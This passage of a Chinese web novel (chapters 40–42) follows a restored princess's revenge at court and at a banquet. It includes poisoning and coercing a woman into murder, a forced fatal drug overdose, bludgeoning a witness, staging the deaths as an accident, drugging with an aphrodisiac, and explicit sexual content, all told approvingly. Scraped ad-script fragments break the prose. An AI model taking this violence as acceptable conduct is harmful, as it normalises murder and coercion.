于是她对轻鸿道,“轻鸿,走,带我去武库司衙门,三年未见,我想亲眼看看我的这位好姐姐。” 40. 故人 武库司某衙门。 正是晌午,衙门内吏员大多去外面吃饭,屋中只有两个女吏在整理案卷。其中一个女子长得天真憨厚,另一个女子则生得美貌纤细,楚楚可怜,后者正是沈纤纤。 三年过去,沈纤纤貌美不减当年,此刻虽只身穿普通的粗布荆钗,却自有一番风韵。 沈纤纤掩唇打了个呵欠。她起身随口问同伴道,“杏儿,你喝不喝花茶。” 被唤作杏儿的女吏闻言抬头,“你买了新茶?” 沈纤纤捧着茶壶走来,“是啊,这茶中加了茉莉、菊花、枸杞、决明子,还为了提神加了些药材,有当归、甘草……” 杏儿笑道,“这么多配方,你泡的怕不是药吧,别中毒了。” 沈纤纤也笑道,“你这丫头,真不识货。”说着她做势要收回茶杯。与此同时,小雪道,“待我尝一口——”一边要接过茶杯。 结果两个人一推一拉,沈纤纤没端稳茶壶,只见哗的一下,茶壶掉到几案上,茶水全部洒在了二人正在整理的案卷上。 两个人瞬间傻眼。这些书册上批有各部门主事的朱笔,此刻字迹被茶水晕染得模糊,已经用不了了。 正好这时,屋门被人推开,一中年官员打了个饱嗝走进屋,一边问道,“我要的案卷整理好了吗?” 杏儿尚未反应过来,一旁沈纤纤已经抢先道,“主事,我正想同您说这件事,杏儿方才手滑,误把花茶洒要的案卷上了。” 沈纤纤模样楚楚可怜,惹人怜惜,闻言官员果然皱眉看向杏儿,“怎么回事?” 杏儿涨红了脸,憨厚的脸蛋满是不知所措,“我、我没有……” 办公室靠近后院的窗户上,两双眼睛正透过捅破的墙纸窥视着屋内发生的一切。 见那主事准备冲杏儿发火,知慈离开窗纸的破洞,不想再看下去。 沈纤纤还是老样子,一点没变。 随即知慈瞥见轻鸿还在盯着屋内,嘴角向下撇,似乎对沈纤纤的举动很瞧不上。 知慈拍拍轻鸿的肩膀,示意她带着自己离开。 轻鸿领命,揽着知慈跃过衙门后墙,回到了官署大街上。 知慈还没说话,轻鸿便忍不住开口道,“属下终于明白为何沈纤纤当年会冒名顶替您的身份,她也太没有担当了。” 知慈笑笑,未置可否,道,“轻鸿,你帮我做件事。” “您说。” 知慈对轻鸿招招手,示意她附耳过来,然后悄悄说明了自己的安排。 - 要做的事都已安排妥当,知慈同轻鸿兵分两路,知慈打道回府,而轻鸿则去执行知慈吩咐的任务。 回到宫中,知慈见到谢琅在她宫殿前等候。 “你在等我?” 谢琅颔首,“我算了时间,你的洗颜膏应当可以洗掉了。” 知慈笑道,“你有心了,还替我惦记着这件事。” 谢琅认真道,“那我怎会忘记。” 二人进入宫殿,知慈坐到梳妆台前,摘下斗笠,露出缠满绷带的脸。 她望着镜子喃喃道,“绷带解开,伴随我脸上十几年的疤痕便会消失?” 知慈无意识用手抚摸上了铜镜。铜镜中,谢琅正在与她对视。 对于因外貌而被人嫌弃嘲笑过的知慈来说,容貌于她绝非简单的美丑区别,而是某种程度上的‘尊严和自我价值’的代名词。 愈是渴望就愈紧张,知慈想抬手拆绷带,却发现自己的手因为紧张冰凉发抖。 知慈转头,求助地看向谢琅,“谢琅,你帮我拆吧。我……我有点紧张。” 她微微抬头仰视谢琅,二人一坐一站对视片刻。 随即,谢琅败下阵来,避开了她的目光。 他没说答应,也没有拒绝,而是开口提起了一件并不相关的事情。 “对了,孙府明日给重孙举行百岁宴,孙老爷昨日得了信知道我回京城,一大早便遣人给我递请帖。” 知慈不知道他为何突然提起这件事,“然后呢?” 谢琅望着知慈,“孙家的人特意求我搭个线,请你明日一同赏光驾临宴席。” 知慈意外,她明明昨日才恢复身份,“他们怎么会认识我?” 谢琅道,“宫内消息传得快,陛下虽未正式给你册封,但消息已在京城权贵之间传开。现在城中有头脸的世家都想同你攀关系。” 知慈点头,又问道,“那到时都有谁会出席?” 谢琅道,“京中大部分名流家眷都会出席。你若明日无事,不妨随我过去看看,正好也了解下京城名流的人际关系。” 知慈正有此意。 她已经构思好了取赵晏然心头血的完整计划,但此前尚需等轻鸿完成准备工作。如今等候期间闲来无事,不如随谢琅出去认识认识人。 既然要出门交际,知慈的注意力再次转回到自己的脸上。 如果药效成功,那么拆开绷带后,她就能以最好的面貌面对他人了。 “那你帮我拆绷带吧。” 知慈久久未得到答复,于是仰头看向谢琅,却见他两颊发红,目光飘忽,与平日那个永远游刃有余微笑着的公子判若两人。 “好。”良久,谢琅道。 知慈面朝谢琅坐着。 谢琅伸出手,修长的手指微微颤抖。 知慈盯着谢琅的眼睛,觉得有些奇怪,明明隔着一层纱布,她的脸颊仿佛能感知到他掌心的温度。 就在触碰到知慈脸上纱布的前一刻,谢琅缩回了手。 “怎么了?” 谢琅侧过身,知慈看不见他的表情,“知慈,让轻鸿帮你吧。” “你怎么了?” 谢琅的声音温和依旧,却回避了知慈的问题,“天色已晚,早些休息吧。” 谢琅快步离去,只给知慈留下一个背影。 知慈无奈,此刻轻鸿去出了任务,她只得找来另一个宫女帮自己解下绷带。 宫女小心揭开了缠绕在脸上的绷带。 知慈缓缓抬眼,铜镜之中,五官秀美、神色沉静的美人正在与她对视。没有了疤痕的知慈如一块绽放出光彩的璞玉,端正的五官被光洁的皮肤衬托得明丽舒展。 知慈凝视着镜中人,觉得有些虚幻。所以这便是真正的自己? 恰好这时,宫外有小太监通传,“殿下,圣上请您到御书房一叙。” 知慈如梦 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 初醒,答应一声,起身随传话的太监去了御书房。 - 御书房内,嘉平帝见知慈容貌大变,诧异道,“知慈,一日不见,你的变化也太大了。” 知慈道,“回陛下,昨日五皇子送来一瓶洗颜膏,我涂完一日后便立即见效,治好了脸上多年的疤痕。” 嘉平帝点点头,宫中灵药众多,又有高明的太医,知慈能治好脸并不稀奇。他问道,“这两天适应的怎么样?” 知慈由衷道,“特别好。陛下您对我太过关照,我有些受宠若惊。” 嘉平帝笑了起来,“不必见外。你若无事,也可以多参加些聚会。朕听闻明日孙府给他们家孙子办百日宴,你可以随谢琅过去瞧瞧热闹,顺便也认识些同龄人。” 知慈道,“我也正有此意。” 嘉平帝闻言,露出欣慰的神色。 二人又闲话家常半晌,外间进来一个小太监道,“陛下,兵部侍郎有事通报。” “让他进来。” 一位官员匆匆迈入屋中,冲嘉平帝行了一礼,道,“陛下,钦差来信,庆王拒绝来京。” 庆王是谢国西部封地的一个藩王,闻言,嘉平帝脸色瞬间变得铁青,“庆王想抗旨?” 官员道,“庆王说兴佑帝未薨便仍是谢国唯一君主,兴佑帝何时回国,他何时回京。” 知慈捕捉到了‘兴佑帝’三个字,身为他的女儿,知慈一时不知该作何反应。 嘉平帝气笑了,“这么多年来,朕也没见他为兴佑帝做过实事。怎么偏逢朕要他进京,他却开始拿兴佑帝说事了?” 知慈坐在一旁听着二人议政,有些提心吊胆。 但嘉平帝很快察觉到知慈的不适,他见知慈一副为难神情,便道,“你先回去吧,明天跟谢琅好好玩。” 知慈暗暗松了口气,告退离去。 - 另一边。 谢琅回到自己的宫殿,安静坐在几案前。 方才知慈与他离得那么近,呼吸相闻。她可知自己的请求有多暧昧? 谢琅单手捂住双眼,难以抑制地心绪汹涌。 其实他比知慈还想知晓,恢复容貌之后的知慈会是什么模样。 于是谢琅执笔磨墨,寥寥数笔后,知慈的模样便生动浮现在宣纸上。 谢琅一直知道知慈的五官很美。画面之中,美人含笑,没有疤痕的知慈有如一朵瑰丽的牡丹。 可谢琅看了半晌,却依然觉得不对。 谢琅浓密的眼睫轻颤,半晌,他还是提笔加上了知慈的疤痕。 他执画仰倒在了床上。 画面中,加上疤痕的知慈变得有些丑陋,却依旧在画中对他微微而笑。 ——不够,还是不够。他不想仅仅只能看着她。 他还想拥抱她,想占有她,想将她揉入骨血。 隐秘的深夜,谢琅凝视着知慈的画像动作着。他羞耻地喘息,放任快感将他淹没。 他仿佛回到了幻境之中的那一夜,知慈就在他眼前,明灭焰火之下,冲他微微而笑。 他回忆着她微翘的嘴唇、秀气的鼻子、还有脸颊的疤痕……谢琅想象着她的一切,沉沦失控,无法自拔。 41. 宴会 第二日上午,谢琅来到知慈宫殿接知慈赴宴。他一身月白袍衫,长身玉立,外形清逸绝伦。 知慈向他走来,早上轻鸿被她派出去执行任务,因此此时只有她一个人。 为表对宴会的重视,知慈今日特地认真打扮了一番。 “怎么样?”知慈微微抬头,望着谢琅的眼睛,想知道他对自己真实容貌的评价。 谢琅怔怔望了她半天,突然垂眼,轻声道,“挺好的。” 谢琅随即率先迈开腿,“走吧。” 知慈跟在他身后,摸不清谢琅的反应。 主办宴会的孙家山庄此时入口车水马龙,京城大半权贵今天都汇集于此。 谢琅陪知慈下了马车,还未进府,便被人叫住,原来是谢琅曾经共事过的同僚,见到谢琅欣喜无比,找他叙旧。 谢琅转向知慈,还问开口,知慈便摆手道,“你去吧,不用管我,正好我先进去。” 于是二人暂时分道扬镳。 府邸门口有不少客人寒暄进出,知慈一个人进了府邸也毫不引人注目。 负责接引的下人不知知慈身份,见她方才与一位清贵公子同行,便只当她是对方带来的女伴,没有派人专门接引,直接放了知慈进去。 知慈进入府邸,穿过一条羊肠小路,只觉此处环境清幽,流水潺潺,心想达官贵人们果然会享受。 前方不远处便是正厅,知慈加快脚步,就在快要到达正厅时,却突然被人叫住。 “这位姑娘,你看着好生眼熟,我们是否在哪里见过?”那声音虚浮飘忽,语气却殷勤热切,听着十分别扭。 知慈脚步顿住,便见岔路口斜前方凉亭里,一个形容枯槁皮肤苍白的青年望着她。 知慈定睛细看,发现这人她认识,竟是路府的二少爷路茂枝。 “你是哪家的千金?怎么落了单,我陪你去会场吧。” 路茂枝神色殷勤,目光诚挚,语气是知慈从未感受过的温柔友善。 知慈这才明白,路茂枝没有认出自己是谁,只因见自己此刻的外形美貌,过来搭讪。 想起从前站在沈纤纤身边时,路茂枝对自己各种羞辱奚落;如今修复了容貌,路茂枝便又换了副热络面孔,知慈心底一阵厌恶。 “不用了,你还是离我远点吧。” 路茂枝神情僵住,“嗯?” 知慈提醒他,“不记得我是谁了?我姐姐,沈纤纤。” 路茂枝飞快回想,随即睁大了眼,想了起来。 “你是那个——”他把后面的难听字眼咽了回去,想了想,挠头道,“你漂亮了好多。” 知慈对他的友善并不买账,嗤笑一声道,“可别来这套,之前对我什么态度心里没点数?” 路茂枝一愣,又听知慈道,“你这个有点权势就不尊重人的蠢货。把女子当货物,长得漂亮的要被你骚扰造谣,长得丑的你更开口就嘲笑。自己跟个马猴成精似的,到底谁给你的自信对别人指指点点?” 知慈抱臂继续道,“我都佩服那些倒贴你的女子,她们怎么做到那么能忍,为了钱对着你这张丑脸忍着不吐?” 路茂枝猝不及防被一顿奚落,脸色青一阵红一阵,半晌才反应过来,骂道,“我好心想陪你,你别给脸不要。” 知慈嗤道,“你的好心值几个钱?别人美丑用你评判?你算什么东西啊。” 路茂枝忍不住上前一步,知慈立刻冷笑道,“哦,恼羞成怒想动手?在孙府吗?” 路茂枝深吸一口气,心知知慈说的没错,孙家势头正盛,作为客人他不能惹出事端,于是忍下气没有说话,绕开她往会场方向去了。 - 宴会会场,人来人往,觥筹交错。 知慈置身人群之中,因为没人认识她,所以也没人同她搭话。 知慈也不觉得无聊,她和轻鸿约好,让轻鸿任务完成后直接来会场找她。估算一下时间,轻鸿也基本快过来了。 嘈杂之中,知慈突然听见一个不和谐的声音。 “就是那个女的,我没认错。她怎么治的脸?” 知慈下意识回头,正撞上几个衣着精致华丽的女子对着她讨论。 见知慈看向她们,几人移开了目光。 但知慈的视线却定住了,因为居中那人她认识,是大理寺吴寺卿的女儿。 三年前她在酒楼当伙计时,这位吴姑娘曾借故找茬,扇过她一巴掌。 地下一刻,人间三年,对知慈来说,那一巴掌就是几天前刚发生的事情。想到当时的情形,知慈突然觉得脸上又开始火辣辣的疼。 知慈心跳加速,老天有眼,这次宴会居然全是老熟人,她可真是挂念她们得紧。 于是知慈大步向吴姑娘方向走去。 对面几人见她过来,惊疑不定,互相给同伴使眼色。 “吴姑娘,辛苦你还记得我。”知慈走到吴姑娘面前站定。 吴姑娘强作镇定,黑着脸道,“你谁啊?我认识你吗?” “不认得我了?” 知慈骤然提高声音,“那我帮你回忆回忆?” 知慈的声音吸引了周围的人,闲聊的声音渐渐小了下来,在场的人群纷纷向几人方向瞧来。 “三年前,我在悦客酒楼做伙计,接待了你,和你的小姐妹们。” 知慈视线扫过吴姑娘身边的几人,果然有好几个眼熟面孔。 “你们几位金尊玉贵的客人,点名道姓要我这个没有背景的小伙计服侍。饭桌上,你一边让我添茶,一边对我言语奚落,极尽为难。” 吴姑娘慌乱道,“谁为难你了?我们正常吃饭,怎么就为难你了?” 知慈却并没停下,“——而这一切,只因为你喜欢五殿下,而那段时间五殿下和我走得近了几分。” “你在说什么?是不是有病!来人!来人啊!谁把疯子放进来——” 随即,“啪”的一声,吴姑娘的骂声戛然而止。 只见她的右脸被知慈重重扇了一巴掌。 场面瞬间安静,吴姑娘被打蒙了。她无论如何没想到在这样的公开场合,知慈会突然对她动手。 知慈活动手腕,“这下想起来了吗?当时你赏了我一巴掌,想必我现在还回来,贵人您也不会介意吧。” 吴姑娘终于反应过来,她从小娇生惯养长大,十多年来连父母都舍不得打她,这低贱的丫头,竟然敢跟她动手? 吴姑娘疯了一般谩骂,“你这个贱人!疯子!!”便要打回去。 她刚动手,便被人死死钳住手腕。 吴姑娘回头,便见到一个俊秀高挑的年轻人钳制着她,神色冰冷眼含威胁。 年轻人正是赵晏然,他也出席了今日的宴会。方才他同其他人一样被争执吸引,一看到知慈,便立刻挤了过来。 与此同时,宴会入口孙氏夫妇与谢琅相携而来,几人不知聊到什么,只见孙夫人带着惶然道,“殿下,您说公主已经来了?您怎么不早说呢?这、这太怠慢了。” 随即她看到席间混乱一片,孙夫人忙厉声呵斥,“住手!吴静雅,你在干什么!” 赵晏然甩开吴姑娘的手,吴姑娘马上退开几步躲远了些。随即她见孙氏夫妇进门,立刻特别委屈道,“姨母,谁把她放进来的?她就是个端茶倒水的伙计,身份低贱,有什么资格进会场?!” 吴姑娘手指着知慈,脸上的巴掌印清晰发红。 然而,出乎吴姑娘的预料,孙夫人怒叱道,“闭嘴!” 接着,孙夫人转向知慈,对她毕恭毕敬行了一个大礼,“臣妇不知殿下提前过来了,招待不周,还请殿下包涵。” 此言一出,全场哗然。 京城中他们从没见过的‘殿下’,除了前日皇帝寻回的那位公主,还能有谁? 角落里,路茂枝震惊喃喃,“她竟是公主?” 路茂枝捂住胸口,只觉心中郁气上涌,让他找个地方只想吃些寒食散排遣一下。 他对带来的贴身丫鬟道,“你去问问孙府的人,有没有空客房,告诉他们我身体不舒服,想找地方躺一会。” 丫鬟领命去了。 人群中心,吴姑娘则满脸震惊,不愿相信,“不可能,怎么可能……” 孙夫人道,“静雅,冲撞了殿下,还不给殿下赔礼道歉?” 吴姑娘满腹委屈,明明是自己挨了巴掌,凭什么要她来道歉。 可她又毫无办法,因为知慈的公主身份,她真的得罪不起。 见知慈微微笑着看她,最终,吴姑娘忍着屈辱,对知慈行了大礼,“对不起。” - 宴会继续进行,觥筹交错,人群热闹非凡。 赵晏然方才来到了知慈身边,见知慈的脸颊变得光洁白皙,刚想开口同她说话,然而知慈直接无视了他,迎上了同样朝她走来的谢琅。 赵晏然一顿,默默望着知慈与自己擦肩而过。 谢琅关切地问道,“吴静雅当初为何要找你的麻烦?” 知慈道,“此事还真和你有关。记得三年前乞巧节,你送我了一盏花灯吗?” 谢琅点头。 知慈道,“当时吴姑娘也在现场,她因此误会你喜欢我,没过几天,她便来到我当时做工的酒楼故意找麻烦。” 谢琅听罢,回想起当初将灯笼送给知慈时,的确是为了让她帮自己挡掉其他人。 他有些歉疚,“这事怪我,没考虑到。” 知慈摇了摇头,笑道,“不怪你,那灯笼我后来卖掉赚了不少钱;再说我还用它救了你一命,怎能怪你?” 谢琅明白了她的意思,‘灯笼卖掉’是指在现实世界被知慈换了钱,‘救他一命’则是指幻境中灯笼换来的烟花将他唤醒。 想起幻境中的那夜共处,谢琅情不自禁凝视知慈,黑眸仿佛含着幽深的潭水,专注而深情。 不远处,赵晏然看着二人之间的微妙氛围,右手悄悄攥紧成拳。 “赵将军!”恰好这时,几位年轻朝臣唤住赵晏然,赵晏然只得收回目光,打起精神应酬身边人。 与此同时,知慈目光落在谢琅身后,瞥见轻鸿出现在了宴会入口。 轻鸿远远冲知慈点了点头,知慈会意,对谢琅道,“轻鸿来了,我出去一趟。” 知慈与谢琅暂别,出了会场,随轻鸿来到一处清幽无人打扰之地。 轻鸿确认四周无人,道,“殿下,您交代我的事已经办妥了。” 知慈道,“沈纤纤什么反应?” 轻鸿道,“她一开始不愿意,但我用她的命威胁,她很快便答应了。” 原来,自从在往生黄泉和神明达成交易后,知慈一直在内心谋划,如何取得赵晏然‘肝肠寸断的心头血’。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >知慈思索着究竟怎样才能击垮赵晏然的心防,却一直没找到合适的执行方案。 直到昨日她得知沈纤纤在赵晏然庇护下过得十分滋润,她心里有了主意: 于赵晏然来说,能让他伤心欲绝之事,无外乎失去对他来说视若珍宝的事物。 三年前,赵晏然负伤瘫痪,那时他失去一身武功,沈纤纤也离他而去,他的反应是绝望自杀。 所以在知慈看来,赵晏然在乎的事物便是沈纤纤和武功。 至于自己……知慈在心里冷笑一声,从前她是赵晏然退而次之的‘将就’,如今他对自己故作深情,也不过是出于他辜负自己的愧疚。知慈根本不相信他口中的‘喜欢’。 于是,一个完整的计划在知慈心中成型: 既然赵晏然喜欢沈纤纤,那就让沈纤纤在他最没防备的情况下,用最锋利的匕首捅入他的心窝。被所爱之人背叛亲手杀死,想必会让赵晏然肝肠寸断、痛不欲生吧。 如此一来,自己便得到了神明想要的‘断肠血’。 昨日,知慈领着轻鸿亲眼看见沈纤纤现状后,更加确定了沈纤纤一定会配合她的计划:江山易改,本性难移,沈纤纤为自保出卖同僚的举动和三年前放弃赵晏然时一模一样。 以自己利益为先的人,只要稍加胁迫,便可以出卖任何人,不会有例外。 于是知慈让轻鸿找人,在不暴露身份的情况下,把沈纤纤绑架到城郊,威胁她配合这场绑架—— 赵晏然收到沈纤纤被绑架的消息后,会被引至城郊,待他一番恶战终于救下沈纤纤时,沈纤纤便需要将提前藏在身后的匕首扎入赵晏然心窝。 轻鸿道,“我给沈纤纤喂了毒药,并告诉她如果不配合我们杀了赵晏然,就会在两日内毒发身亡。” 说道这里,轻鸿笑了一声,“她听完摇头,我以为她不愿意伤害赵晏然。结果她说,赵晏然武功太高,她怕失手了被他报复。” 知慈道,“那你怎么说?” 轻鸿轻松道,“我说她既然害怕,那我就现在帮她解脱。她吓得再无异议了。” 知慈满意颔首,“辛苦了。” 轻鸿得到褒奖,抿嘴笑笑,和知慈又闲扯几句,随即二人回到了宴席间。 两人在餐桌前分道扬镳,轻鸿去宴席拿东西吃,而知慈低着头慢慢走回交谈的人群之中。 从前自己那么喜欢赵晏然,甚至愿意为他献出心头血;却被他一次次当做求而不得的备选项,说她释怀毫不介意是假话。 实际上,她恨不得将赵晏然千刀万剐。让沈纤纤手刃赵晏然,是为了取回心头血,还是为了泄私愤,知慈也很难分清。 也许心有所感,知慈一抬头,便看见赵晏然拨开围在他身边的朝臣,来到自己了面前。 知慈盯着赵晏然,看着他的嘴巴一张一合,神情一副小心翼翼生怕惊扰自己的模样,突然觉得他有些可怜。 他一边挂念沈纤纤,一边对自己感到愧疚,可等到明天,沈纤纤把匕首扎进他心口窝时,他还会想起自己吗? 那时的他,只会全身心都会放在被所爱之人背叛上吧。 知慈望着正在对自己说话的赵晏然,想象着他到时的表情。抑制不住微笑起来。 “……可以吗,知慈?”神游天外之际,她听见赵晏然问她。 “嗯。”知慈下意识敷衍道。 赵晏然肉眼可见地精神一振,罕见露出了笑容道,“那我们卯时见。” 随即他与知慈告别离去。 什么? 知慈后知后觉,这才反应过来,方才自己想事情入神,下意识应了赵晏然一声。 知慈回忆着,他刚才说‘卯时见’,那应当是邀请她宴会结束后私下见个面。 知慈本想叫住他解释。但她转念又觉得麻烦,心想届时放他鸽子就是。 于是她放任赵晏然离开了。 - 宴会正厅。 时间过得很快,宴会已接近尾声,不少宾客陆续离开了孙府。 知慈与新结识的名门千金们交谈甚欢,告别对方后,打算同谢琅动身回宫。 就在这时,一个眼生的丫鬟低着头道,“殿下,我家主子请您过去一趟。” 主子? 看着丫鬟躲躲闪闪的眼神,知慈心中瞬间警惕。 这丫鬟言辞闪烁,背后指示之人想必不怀好意。 知慈立刻想到吴姑娘,难不成她因方才自己那一巴掌怀恨在心,想耍手段报复? 但孙家是吴姑娘的舅家,和吴姑娘父母利益绑定紧密。自己身为公主,在孙家只要出现一点意外,孙吴两家都难逃其咎。 何况吴姑娘刚与自己发生冲突,一旦自己有事,所有人都会第一个怀疑她。这种情况下,吴姑娘还能耍什么花招呢? 知慈不是怕事的人,甚至有些跃跃欲试,想看看吴姑娘还有什么招数。 她冲远处一直关注她的轻鸿使了个眼色,随即对丫鬟道,“领路吧。” 知慈随丫鬟穿过回廊,周围环境静谧清幽,一个人都没有。 就在丫鬟带知慈穿越一扇拱门时,门后突然冒出一人,用手绢紧紧捂住知慈口鼻。 知慈鼻中钻入一股浓郁异香,心下暗道不好。她听见有人在耳边狞笑,“臭丫头,你可算来了。” 这声音……竟是路茂枝! 42. 同房 半个时辰前,孙府客房。 路茂枝被安置在一间清幽的客房休息,想到沈纤纤那个其貌不扬的妹妹如今竟出落得比沈纤纤还美,还敢奚落他,他便觉得愤懑又心痒。 但对方身份高贵,自己偏偏又惹不起。 他从怀中取出一个纸包打开,刚欲低头,旁边丫鬟便道,“主子,咱们现在在人家做客呢,在这里服寒食散不好吧。” “你给我闭嘴。”路茂枝骂了一句,将纸包中的寒食散倒入小茶盅中,仰头一饮而尽。 瞬间,路茂枝感觉身体发热,周身舒畅,鼓膜隆隆作响。浑身飘飘然,连呼出的气都舒服了很多。 舒畅之外,寒食散带来的副作用令路茂枝神智有些错乱,他眼前开始出现光怪陆离的幻影。 路茂枝回忆着知慈姣好的面容和窈窕的身段,口中恶狠狠道,“小贱人,不过是我路府下贱的丫鬟,敬酒不吃吃罚酒。” 路茂枝渐渐神智不清,认为知慈还是路府的婢女。 于是他冲丫鬟招了招手,“你过来,照我说的去做。”随即如此这般吩咐了一番。 丫鬟听完路茂枝的安排,脸色发白,“主子、主子,她可是公主,咱们惹不起。” 寒食散副作用发作,路茂枝认知完全错乱,他哼笑一声,“什么公主?不过是我路府的一个粗使丫头。” 丫鬟低着头,不说话。 “你去不去?”路茂枝皱眉。 丫鬟抬起头,一副快哭了的模样,“主子,您别为难我了。” 路茂枝不耐烦斥道,“不去是吧?那回去你便打包袱走人,你家人的药钱也自己另想办法吧。” 被路茂枝威胁,丫鬟踌躇半晌,终于道,“好,我去。” - 接下来,路茂枝的丫鬟将知慈骗到了客房附近的清幽回廊。 拱门后藏身的路茂枝见知慈过来,便从知慈背后跳出,紧紧用手绢捂住知慈的口鼻。 然而下一刻,路茂痛哼一声,松开了手。 原来一直暗中跟随的轻鸿见变故突生,立刻施展武功去擒路茂枝。 疼痛让路茂枝反射性松开了知慈,他被轻鸿双手反剪钳制住按倒在地,脸贴着地动弹不得。 旁边丫鬟见状,拔腿就跑,轻鸿袖中暗器射出,丫鬟瞬间被击中穴道,晕倒在地。 知慈重获自由,开始打量周围环境。 此处地处孙府后院客房,静谧偏僻,四下无人。 眼前,轻鸿膝盖压着路茂枝的背心,路茂枝一脸痛苦趴在地上,一副呼吸困难的模样。 知慈深吸一口气,发现自己身体有些不对劲。路茂枝方才手绢里不知下了什么药,她体内竟升起一股热意,腿脚发软。 “你手帕里放了什么?”知慈问道。 路茂枝疼得呲牙,听见知慈的问题却露出一个下流的笑,“怡红院最烈性的合欢药。” 知慈心里一沉,她低头望着路茂枝的眼睛,“你疯了?对公主下药,你想让整个路府给你陪葬?” 路茂枝看着知慈,嘻嘻一笑,“什么公主?你不是我路府的丫鬟么,爷看上你,那是你的荣幸。” 说着,路茂枝挣扎着抬起头,衣料摩挲间,一个小纸包从他衣领口掉了出来。 知慈蹲下身捡起了路茂枝掉落的小纸包。她打开纸包,看到了里面装着寒食散药粉。 这下,知慈全明白了:路茂枝服食寒食散后,神智混乱,于是胆大包天给自己下了药。 知慈抬起头,和轻鸿对视了一眼。 “真是个疯子。”知慈骂了一声。 知慈对路茂枝道,“你下的药怎么解?” 路茂枝嬉皮笑脸,“你跟我好一场就能解了。” 下一刻,轻鸿加大擒拿路茂枝的手上力度,同时膝盖用力。 路茂枝疼得面容扭曲,连连讨饶,“我说,我说,这合欢药自西域进口,没有解药一说。想解药性只能找男人合欢,否则便会□□焚身、药性进入心脉而亡。” 知慈的心逐渐下沉。 方才她敢将计就计随丫鬟过来,是因为预设了幕后之人心智正常。但她无论如何都没想到,路茂枝竟荒唐到在人家做客时服食寒食散,把自己服食到神志不清、胆大妄为。 想到这里,知慈蹲在路茂枝面前,手掐着寒食散的纸包在他眼前晃了晃,“我听说寒食散服食过量会当场死亡?” 路茂枝明白过来知慈的意图,惊恐地摇头,“别,你不能这么对我,会出人命的。” 知慈无动于衷,掰开路茂枝的下巴,作势要喂他吃。 路茂枝拼命挣扎,但轻鸿死死抵着他的背心,让他动弹不得。 路茂枝绝望知慈的手距自己越来越近。 然而,就在寒食散马上接触到他嘴巴的一刻,知慈突然停了下来。 “你给我下药的事都有谁知道?” 路茂枝怕极了,语气都带了哭腔,他立刻道,“就我和我带来的丫鬟,没有第三个人。我错了,你饶了我。我再也不敢了。” 但知慈并没有放过他的意思,她掰着路茂枝下颌,强行将所有的寒食散都倒入路茂枝口中。 路茂枝拼命反抗,但大部分寒食散还是顺着喉咙被他吞咽了下去。 随即,路茂枝开始喘不上气。 轻鸿松了手,路茂枝仍趴在地上,身体不断抽搐。片刻之后,他的七窍缓缓流出流血,喉咙嗬嗬发出几声音节,然后彻底断了气。 知慈站起身,旁边躺着被点穴昏迷的丫鬟。知慈注意到她的手指抽动一下,看起来很快便会醒来。 知慈环顾四周,掂量起回廊上一个十分沉重的花盆,照着对方的脑袋砸了下去,混着脑浆的血液流得到处都是。 中药的事,她不想被人知道,所以路茂枝和他的丫鬟都得死。 “轻鸿,你把这两具尸体布置一下,伪装成路茂枝服食寒食散过量,产生幻觉杀死丫鬟后,自己也中毒而死。”知慈吩咐道。 轻鸿听命开始动作。 与此同时,知慈身体愈发难受,一股陌生的热意冲击着她的五脏六腑,让她渴望得到安慰。 知慈道,“轻鸿,上次我让你背熟我名下的所有资产,你可知眼下距离此处最近的房产是哪个?” 轻鸿立刻道,“殿下,是枣花街地字号的院子。” 知慈一愣,这不是她在赵晏然家隔壁的那间房产么。 但此刻她无暇顾及这些细节,身体的难受让她只想尽快得到纾解。 “我先过去,你处理完现场,和……谢琅说一声,让他过去找我,我需要他。” 轻鸿闻言,忍不住偷看一眼知慈的脸色。 知慈忍着热意道,“别看了,快去。” - 知慈离去后,轻鸿谨慎处理了现场,确保万无一失后,回到了正厅。 席间,谢琅仍在与人交谈。轻鸿在不远处朝谢琅示意,谢琅会意,招呼其他人慢聊,随即来寻轻鸿。 “五殿下,公主让您去府外找她。”轻鸿悄声道。 谢琅微微皱眉,“她怎么了?” 轻鸿道,“她中了药,情况紧急。” 谢琅听说知慈出事,立刻焦急道,“好,那现在就出发。” 二人离开孙府,前往枣花街。 路上,轻鸿简洁说明了知慈中药的始末,谢琅一语不发,安静听完,神色阴沉得可怕。 二人来到枣花街地字院,院门没有上锁,知慈在里面,特意为他留的门。 轻鸿见他脸色很难看,试探着问道,“殿下,您怎么了?” 谢琅盯着院门,声音平静得令人不安,“轻鸿,再帮我个忙。” “您说。” 谢琅冷声道,“去通知我的人,以私藏禁药的名义彻查路府。” 轻鸿点头,“好。” 交代完此事后,谢琅推门进入了庭院,随即关门反锁。 而轻鸿在方才院门关闭前的一瞬,瞥见了在敞开的正堂静坐的知慈,放下心来。 她不再打扰二人,继续依令行事。 - 谢琅进入正堂,看见了知慈,冷峻的神情才终于消失,恢复了平日那副富有涵养的和煦模样。 知慈听见声响,抬头看他,“轻鸿和你说了事情的原委?” 谢琅点头。 于是知慈牵起他的衣袖,向左边内室走去,“你过来——” 谢琅迟疑着,随知慈进了屋。 知慈进了屋,扭头笑道,“你进来,正厅又没有床褥。” 谢琅看起来有些不自在,没有接话。 二人沉默片刻,知慈突然动手解他衣袍,谢琅后退着想避开她的手,知慈却步步紧逼,最后谢琅避无可避,退到了墙角。 知慈凝视着他,轻声道,“你要帮我。”她压抑着体内的渴望,手指再度抚上谢琅前襟。 谢琅按住她的手,“不行——” 话音未落,只听‘啪’的一声,谢琅脸上挨了一巴掌。 知慈冷下脸,“不行你来干什么?看我笑话?” 谢琅没还手,按住知慈的手却也没松开。 知慈盯了他半晌,挣开他的手,合衣躺到了床上,“你走吧。我为难你了。” “那你怎么办?” 知慈望着天花板,道,“轻鸿还没走远,你帮我把她叫回来。” “你想做什么?” “我让轻鸿帮我去街上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绑个俏郎君,再用公主的威仪胁迫他就范。” 谢琅立刻道,“不行!” “那你有什么高见?” “我……”端方君子不自然地垂下眸,“我自然愿意和你……但你还没出嫁,需要名声和清白。” 听谢琅这样说,知慈手掌撑着床坐起身,望向谢琅道,“所以你要替我保守秘密。” 她轻轻冲谢琅招手,“你不说,就没人知道。” 谢琅听话地走到了床边,口中却道,“你我同宗同源,按皇室辈分该是堂兄妹,不能行此□□之事。” 